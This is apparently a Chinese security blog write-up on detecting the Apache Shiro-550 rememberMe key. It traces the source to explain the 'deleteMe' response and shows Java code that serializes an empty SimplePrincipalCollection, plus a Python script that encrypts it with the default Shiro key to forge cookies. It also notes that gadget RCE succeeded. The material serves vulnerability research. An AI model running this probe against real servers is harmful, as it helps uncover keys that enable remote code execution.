shiro550另类检查方式

文章参考于:
xray社区(微信公众号)
由于文章只是大概说了思路,没有详细的进行操作说明,故有了此文

整体处理函数如下:

整体函数

传入错误key:

通过393行传入subjectContext,调用getRememberedSerializedIdentity函数,该函数位内org/apache/shiro/web/mgt/CookieRememberMeManager.java:

该段函数含义为取cookie里的rememberMe参数,然后进行解码为字节数组
整体流程:
取remember参数解码

随后进入红箭头指向的这一步,convertBytesToPrincipals函数用shiro里的key对传入的参数进行解密等一系列操作,跟进convertBytesToPrincipals函数
convertBytesToPrincipals函数

发现调用了decrypt函数进行解密,继续跟进:
decrypt函数

这里489行调用了key进行解密,当然,这里肯定是得不到结果的,因为传入的key是错误的,那么我们回过头,去看整体的函数,就会被
捕捉异常

这里捕捉异常
进入onRememberedPrincipalFailure函数
onRememberedPrincipalFailure函数

进入forgetIdentity函数
forgetIdentity函数

继续跟进removeFrom方法:
removeFrom方法
355行加入了value,这里

1
DELETED_COOKIE_VALUE

即为deleteMe参数
DELETED_COOKIE_VALUE

这里用gadget进行rce,多出来了一个deleteMe参数,为什么呢
rce成功

传入正确的key

之前的流程不需要看,直接进入convertBytesToPrincipals函数,return deserialize
convertBytesToPrincipals函数

跟进deserialize函数
deserialize函数

看到getSerializer函数,跟进
getSerializer函数

发现是PrincipalCollection类型的才会不报错,显然,gadget实际上并不是继承PrincipalCollection类型的,所以这里会报错
报错

但是在做类型转换之前,先进入了DefaultSerializer#deserialize 进行反序列化处理,等处理结束返回 deserialized 时候,进行类型转换自然又回到了上面提到的类型转换异常,我们 key 不正确的情况下的 catch 异常捕获的逻辑里,后面的流程就和上述一样了
DefaultSerializer#deserialize

这里就是反序列化rce的触发点

那么总结一下上面的两种情况,要想达到只依赖shiro自身进行key检测,只需要满足两点:
1.构造一个继承 PrincipalCollection 的序列化对象。
2.key正确情况下不返回 deleteMe ,key错误情况下返回 deleteMe 。
基于这两个条件下 SimplePrincipalCollection 这个类自然就出现了,这个类可被序列化,继承了 PrincipalCollection 。
大体流程

构造POC实际上也很简单,构造一个这个空对象也是可以达到效果的。(这里的org.apache.shiro.subject.SimplePrincipalCollection需自己进行获取导入)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package example;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

import org.apache.shiro.subject.SimplePrincipalCollection;


public class test {
public static void main(String[] args) throws IOException {
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));
obj.writeObject(simplePrincipalCollection);
obj.close();
}
}

就会看到文件夹下多出一个payload文件,里面存储的即为序列化数据

这里我用到的生成rememberMe的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
import base64

def encode_rememberme():
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC

iv = uuid.uuid5(uuid.NAMESPACE_DNS, 'f0ng').bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
f=open(r'payload','rb') #二进制方式打开图文件
ls_f=base64.b64encode(f.read()) #读取文件内容,转换为base64编码
f.close()
print(base64.b64decode(ls_f))
file_body = pad(base64.b64decode(ls_f))

base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
print(base64_ciphertext.decode())

return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme()

生成正确key的rememberMe

用生成的rememberMe参数去请求:
无回显

随意进行更改rememberMe的key变成错误的key,重新生成

生成不正确key的rememberMe

rememberMe=deleteMe字段出来了

有回显